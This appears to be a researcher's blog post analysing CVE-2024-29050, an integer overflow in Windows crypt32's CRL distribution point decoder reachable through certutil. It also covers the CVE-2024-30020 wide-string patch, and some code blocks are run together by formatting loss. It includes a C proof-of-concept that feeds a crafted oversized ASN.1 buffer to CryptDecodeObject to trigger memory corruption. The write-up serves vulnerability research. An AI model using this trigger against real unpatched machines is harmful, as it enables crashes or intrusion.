0x7sec
0x7sec
Software Engineer Pentester Cyber Security Engineer
0x7sec

Blog

Windows Cryptographic Services RCE (CVE-2024-29050)

Windows Cryptographic Services RCE (CVE-2024-29050)

Introduction to Windows Cryptographic Services RCE CVE-2024-29050

While digging into secure schannel, I found that there were crypt32!CryptDecodeObject functions being called later to decode certificate-related operations. So I analyzed it in depth and found that there was an obvious integer overflow problem. Later, I found that there was a length limit. After traversing all the decoding operations, I found an integer overflow that could be successfully triggered. Let's take a look together.

Let's first understand CryptDecodeObject function interface.

BOOL CryptDecodeObject(
  [in]      DWORD      dwCertEncodingType,
  [in]      LPCSTR     lpszStructType,
  [in]      const BYTE *pbEncoded,
  [in]      DWORD      cbEncoded,
  [in]      DWORD      dwFlags,
  [out]     void       *pvStructInfo,
  [in, out] DWORD      *pcbStructInfo
);

[in] dwCertEncodingType

There are two types of encoding, which can be ORed together.

  • X509_ASN_ENCODING
  • PKCS_7_ASN_ENCODING

[in] lpszStructType

OID, which can be a number or a string. See Constants for CryptEncodeObject and CryptDecodeObject .

Call relationship path example:

crypt32!CryptDecodeObject(X509_ASN_ENCODING( 1 ), X509_ECC_SIGNATURE( 47 ), ...) 
    CryptDecodeObjectEx 
    	Asn1X509DHParametersDecodeEx 
    		Asn1InfoDecodeAndAllocEx 
    			msasn1!ASN1_Decode // Check len, cannot exceed 0x61a8000 (100M)
     				crypto32!ASN1Dec_DHParameters // label1
     					....

Different oidslabel1will have different calling functions. See the end of the article for a list of specific functions.

The function in question exists inASN1Dec_CRLDistributionPoints

__int64 __fastcall ASN1Dec_CRLDistributionPoints(__int64 a1, __int64 a2, unsigned int *a3)
{
  ......
  if ( !(unsigned int)ASN1BERDecExplicitTag(a1, a2, &v23, &v25) )
    return 0i64;
  v6 = 0;
  *a3 = 0;
  *((_QWORD *)a3 + 1) = 0i64;
  while ( 1 )
  {
    if ( !(unsigned int)ASN1BERDecNotEndOfContents(v23, v25) )
    {
      LOBYTE(v3) = (unsigned int)ASN1BERDecEndOfContents(a1, v23, v25) != 0;
      return v3;
    }
    if ( !(unsigned int)ASN1BERDecPeekTag(v23, &v21) )
      return 0i64;
    if ( *a3 >= v6 )
    {
      if ( v6 )
        v6 *= 2;
      else
        v6 = 16;
      v7 = ASN1DecRealloc(v23, *((_QWORD *)a3 + 1), v6 << 6);// label2
      if ( !v7 )
        return 0i64;
      *((_QWORD *)a3 + 1) = v7;
    }
	......
    v11 = *((_QWORD *)a3 + 1) + (v10 << 6);
    *a3 = *a3 + 1;
	......
    
  }
  ......
}

label2Position, if v6 is greater than 0x20,00002*v6*0x40 => 0x1,0000,0000and ASN1DecReallocthe third parameter of the function is an int type, the integer is truncated, and a very small memory is requested, resulting in an overflow later. Because the content can be controlled, the amount of overflow is roughly controllable, so it is still quite exploitable. The only problem is that this OID is 0x23, and it is difficult to find a service that supports it in Windows. By searching all CryptDecodeObjectdll and exe files that have imported the function one by one, we finally found a tool that uses it, which is certutil.exe.

The trigger stack backtrace is:

00 0000004a`b0c7e680 00007ffd`e8fa5b1b     ucrtbase!memset_repstos+0x9
01 0000004a`b0c7e690 00007ffd`e8fa5942     CRYPT32!Asn1X509CrlDistPointsDecodeExCallback+0x77
02 0000004a`b0c7e700 00007ffd`e8f568f5     CRYPT32!Asn1X509CrlDistPointsDecodeEx+0xb2
03 0000004a`b0c7e780 00007ffd`e8f564de     CRYPT32!CryptDecodeObjectEx+0x145
04 0000004a`b0c7e830 00007ffd`e2b2185a     CRYPT32!CryptDecodeObject+0x2e
05 0000004a`b0c7e880 00007ffd`e2b2096a     cryptnet!ObjectContextGetRawUrlData+0x21a
06 0000004a`b0c7e9c0 00007ffd`e2b11e2a     cryptnet!CertificateCrlDistPointGetObjectUrl+0x7a
07 0000004a`b0c7eaf0 00007ffd`e2b119fc     cryptnet!CTVOAgent::GetTimeValidObject+0x41a
08 0000004a`b0c7ed30 00007ffd`e2b27cff     cryptnet!CrlFromCertGetTimeValidObject+0x5c
09 0000004a`b0c7eda0 00007ffd`e2b274fb     cryptnet!CryptGetTimeValidObject+0xbf
0a 0000004a`b0c7ee20 00007ffd`e2b26213     cryptnet!GetTimeValidCrl+0x38b
0b 0000004a`b0c7ef50 00007ffd`e8f475be     cryptnet!MicrosoftCertDllVerifyRevocation+0x213
0c 0000004a`b0c7f0b0 00007ffd`e8f46785     CRYPT32!VerifyDefaultRevocation+0x552
0d 0000004a`b0c7f1d0 00007ff7`8d71812f     CRYPT32!CertVerifyRevocation+0x115
0e 0000004a`b0c7f2d0 00007ff7`8d717dba     certutil!VerifyRevocation+0xd3
0f 0000004a`b0c7f380 00007ff7`8d7164f7     certutil!VerifyCertAgainstParent+0x82e
10 0000004a`b0c7f490 00007ff7`8d71bc70     certutil!VerifyCRLAgainstCACert+0x647
11 0000004a`b0c7f5a0 00007ff7`8d6b3849     certutil!verbVerifyCert+0x1c0
12 0000004a`b0c7f640 00007ff7`8d78630c     certutil!ArgvMain+0x9ed
13 0000004a`b0c7f870 00007ff7`8d785ecc     certutil!myPreMain+0x41c
14 0000004a`b0c7f9c0 00007ffd`eadea1f8     certutil!myMainWndProc+0x3c
15 0000004a`b0c7f9f0 00007ffd`eaded038     USER32!UserCallWinProcCheckWow+0x398
16 0000004a`b0c7fb40 00007ff7`8d786575     USER32!DispatchMessageWorker+0x378
17 0000004a`b0c7fbc0 00007ff7`8d6a3d96     certutil!wWinMain+0x1ad
18 0000004a`b0c7fcb0 00007ffd`e9711f87     certutil!__wmainCRTStartup+0x1d6
19 0000004a`b0c7fd70 00007ffd`eb97b5b0     KERNEL32!BaseThreadInitThunk+0x17
1a 0000004a`b0c7fda0 00000000`00000000     ntdll!RtlUserThreadStart+0x20

CVE-2024-30020 occurs in Asn1X509GetPKIFreeTextthe function. At first I didn’t understand where the problem was. Let’s take a look at the code:

for ( i = ( const  void **)*((_QWORD *)a1 + 1 ); v5; --v5 ) 
{ 
  v12 = *( unsigned  int *)i; 
  v13 = 2 * v12 + 9 ; // Post-patch code if ( !( unsigned int )EvaluateCurrentState(( const struct reg_FeatureDescriptor *)a1) ) // Post-patch code     v13 = v12 + 9 ; // Pre-patch code   v14 = v13 & 0xFFFFFFF8 ;   v8 = *a5 - v14 < 0 ;   *a5 -= v14; if ( !v8 )   {     *v9 = (LPWSTR)*a4; if ( (_DWORD)v12 )     {       v15 = EvaluateCurrentState(( const struct reg_FeatureDescriptor *)a1); // Post-patch code       v16 = v12; if ( v15 )         v16 = 2 * v12; // patched code       memcpy_0(*v9, i[ 1 ], v16);     }     (*v9)[v12] = 0 ;     *a4 = (LPWSTR *)(( char *)*a4 + v14);   }   ++v9;   i += 2 ; }
    




  


    

 

      









So, its patch is to calculate the size in wide bytes when calculating the size. At first I didn't understand what such a patch was doing.

First, *a5it is subtracting v14and *a4adding v14, so the buffer and size are synchronized, and there is no judgment problem caused by asynchrony.

Then, v12the value cannot be too large, so it will not cause integer overflow. Then , v14it must be greater than or equal to v12+8, so if(!v8)there is no problem with this conditional judgment. There is no problem with the memcpy operation either.

Then the problem must be that (*v9)[v12] = 0;, in a simple understanding, it should only occupy 1 byte, which is less than 8, so it should also be less than v14the range of , how can it cause a problem??

After carefully looking at the assembly, mov [rax+rsi*2], dxthe problem became clear at a glance, that is, it is being treated as a wide string!!!

At this moment, *v9 = (LPWSTR)*a4;this line became extremely eye-catching.

Therefore, when auditing, you still need to pay more attention to type conversion. If there is a forced type conversion, you must pay more attention and don't be confused by IDA.

POC

#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "ws2_32.lib")


typedef unsigned int u32;
typedef unsigned char u8;

int main() {
#define MAX_SIZE (0x4000000+0x30)
    unsigned char* buf = (char*)calloc(1, MAX_SIZE);

    HCERTSTORE hStore = NULL;
    PCCERT_CONTEXT pCert = NULL;
    BCRYPT_KEY_HANDLE hKey = NULL;

    DWORD pcbStructInfo[4];
    pcbStructInfo[0] = 0;
    // explicit tag
    int i = 0;
    int j;
    buf[i++] = 0x20|0x10;
    buf[i++] = 0x84;
    *(u32*)(buf + i) = ntohl(MAX_SIZE - 0x30 + 2);
    i += 4;
    for (j = 0; j < (MAX_SIZE-0x30+2) /2; j++) {
        // ASN1BERDecEoid
        buf[i++] = 0x20|0x10;
        buf[i++] = 0;
    }// "1.1." 4bytes, 

    CryptDecodeObject(1, (LPCSTR)0x23, (const BYTE*)buf, MAX_SIZE-0x10, 0, 0, pcbStructInfo);
    return 0;
}

ASN1Dec List

0 ASN1Dec_EncodedObjectID  1800a02b0
1 ASN1Dec_Bits  180095e20
2 ASN1Dec_IntegerType  1800a27c0
3 ASN1Dec_HugeIntegerType  1800a3d00
4 ASN1Dec_OctetStringType_0  1800a36e0
5 ASN1Dec_EnumeratedType  1800ba230
6 ASN1Dec_UtcTime  1800a4aa0
7 ASN1Dec_AnyString  180077ce0
8 ASN1Dec_AlgorithmIdentifier  180076ff0
9 ASN1Dec_Name  180077f20
10 ASN1Dec_Attributes  180077a40
11 ASN1Dec_RSAPublicKey  1800877f0
12 ASN1Dec_RSAPublicKey2  18008e170
13 ASN1Dec_DSSParameters  1800b2ba0
14 ASN1Dec_RSAPublicKey_0  1800e8ea0
15 ASN1Dec_DHParameters  1800a01d0
16 ASN1Dec_RC2CBCParameters  1800eb260
17 ASN1Dec_SMIMECapabilities  1800eb8d0
18 ASN1Dec_SubjectPublicKeyInfo  180084210
19 ASN1Dec_ChoiceOfTime  1800770d0
20 ASN1Dec_Extensions  1800775d0
21 ASN1Dec_SignedContent  1800871d0
22 ASN1Dec_CertificationRequestInfo  1800e7f60
23 ASN1Dec_CertificationRequestInfoDecode  1800b3af0
24 ASN1Dec_KeygenRequestInfo  1800e9610
25 ASN1Dec_AuthorityKeyId  1800a84e0
26 ASN1Dec_AltNames  1800790c0
27 ASN1Dec_EDIPartyName  1800e9030
28 ASN1Dec_BasicConstraints2  18008ac60
29 ASN1Dec_CertificatePolicies  180081880
30 ASN1Dec_CertificatePolicies95  1800e7e40
31 ASN1Dec_AuthorityKeyId2  180078c40
32 ASN1Dec_AuthorityInfoAccess  1800788e0
33 ASN1Dec_CRLDistributionPoints  180078d90
34 ASN1Dec_ContentInfo_0  18009fe00
35 ASN1Dec_SeqOfAny  180079740
36 ASN1Dec_TimeStampRequest  1800ec370
37 ASN1Dec_ContentInfoOTS  1800e8730
38 ASN1Dec_TimeStampRequestOTS  1800ec450
39 ASN1Dec_EnhancedKeyUsage  180083970
40 ASN1Dec_EnrollmentNameValuePair  1800e9310
41 ASN1Dec_CSPProvider  1800e7a20
42 ASN1Dec_CertificatePair  1800aadd0
43 ASN1Dec_IssuingDistributionPoint  1800784d0
44 ASN1Dec_PolicyMappings  1800aca70
45 ASN1Dec_PolicyConstraints  1800b3e30
46 ASN1Dec_CmcAddExtensions  1800e81f0
47 ASN1Dec_CmcAddAttributes  1800e8130
48 ASN1Dec_CertificateTemplate  1800a3390
49 ASN1Dec_OcspBasicResponse  180076130
50 ASN1Dec_BiometricSyntax  1800e77e0
51 ASN1Dec_Attribute  1800853a0
52 ASN1Dec_X942DhParameters  1800ecb30
53 ASN1Dec_X942DhOtherInfo  1800ec9b0
54 ASN1Dec_CertificateToBeSigned  18007d6a0
55 ASN1Dec_CertificateRevocationListToBeSigned  180075f30
56 ASN1Dec_KeyAttributes  1800e93d0
57 ASN1Dec_KeyUsageRestriction  1800e9510
58 ASN1Dec_BasicConstraints  1800b4230
59 ASN1Dec_UserNotice  1800ec6b0
60 ASN1Dec_VerisignQualifier1  1800ec7b0
61 ASN1Dec_ContentInfoSeqOfAny  1800e8850
62 ASN1Dec_CertificateTrustList  180076c10
63 ASN1Dec_NameConstraints  1800783e0
64 ASN1Dec_CrossCertDistPoints  1800e8dd0
65 ASN1Dec_CmcData  1800e82b0
66 ASN1Dec_CmcResponseBody  1800e8380
67 ASN1Dec_CmcStatusInfo  1800e8430
68 ASN1Dec_OcspTbsRequest  1800a8b90
69 ASN1Dec_OcspResponse  180095c50
70 ASN1Dec_OcspBasicResponseData  180076280
71 ASN1Dec_RsaSsaPssParameters  1800eb630
72 ASN1Dec_RsaesOaepParameters  1800b0010
73 ASN1Dec_OcspRequest  1800aeba0
74 ASN1Dec_LogotypeExtn  1800e9b90
75 ASN1Dec_EccCmsSharedInfo  1800e9190
76 ASN1Dec_TimeStampReq  1800ec1c0
77 ASN1Dec_TSTInfo  1800768e0
78 ASN1Dec_TimeStampResp  1800ec530
79 ASN1Dec_ChoiceOfCertOrCrl  1800e8040
80 ASN1Dec_CertificateBundle  1800e7d40
81 ASN1Dec_RSAPrivateKey_0  1800eb330
82 ASN1Dec_SubjectDirectoryAttributes  1800ebac0
83 ASN1Dec_SupportedAlgorithm  1800ebd00
84 ASN1Dec_TPMSpecification  1800ebe10
85 ASN1Dec_CRLEntry  180077460